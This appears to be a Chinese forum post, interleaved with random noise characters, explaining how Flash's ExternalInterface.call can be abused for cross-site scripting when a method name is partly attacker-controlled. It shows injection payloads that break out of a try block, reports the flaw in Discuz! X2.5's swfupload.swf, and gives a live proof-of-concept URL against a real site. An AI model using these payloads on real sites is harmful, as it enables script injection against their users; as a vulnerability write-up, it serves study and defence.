上回我们说9 G5 V8 U3 b$ _( ?. s! O4 Y2 Z; I8 G7 m
9 w* H- Z/ j) D, ^5 M( b
flash.external.ExternalInterface.call($methodName, $parameter)$ p, R4 t ?; T/ z2 g
在浏览器中执行的是
: j. T9 G: y n8 W8 x8 |0 e0 y& t2 ?: `) J3 y3 @
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
4 q3 f# F/ K/ R% R8 y+ e4 l5 x对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如% g4 x' W- ]# `# X2 R
; N4 y+ k5 Z7 w8 Q/ t- v, R, f! yflash.external.ExternalInterface.call("object."+$methodName, $parameter)
6 G- x7 Z5 ~; K" l' w$methodName = a())}catch(e){alert(/xss/)}//: G$ o3 u1 }! Q4 L" k) } {
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。7 Y. f' V) W/ `
( F) I) g) {6 [' A1 a: o3 h# Y5 j" ~
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
- y4 Z! V% Q x# G- U- |" G' \; J$ L) b, I
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
4 V1 Y: ]) v$ @4 Z7 M; X' {& h1 a7 |杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。/ ]6 k4 {3 y. L+ s; G Q- J8 N1 a' o9 A, B
4 F- @3 Z) w# g. w" V, p
( q9 h/ O' b% u( ^7 d" l( a3 E% \4 A; W) Z- ~+ f; q
漏洞文件:upload\static\image\common\swfupload.swf
, C5 x. t: q* W( S5 X1 I9 X; z A$ h3 A
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
( t+ }% g) L# E8 k1 _# R9 J1 R" T5 o; y" u! |
9 H7 A1 G" s! Z; l8 o漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}/// y3 r7 F% l0 y2 R+ A9 z/ C# p: L' |- W3 e
- O) j6 b, V# ^% o) h7 M# r2 D& `! t" `. {4 b0 v
|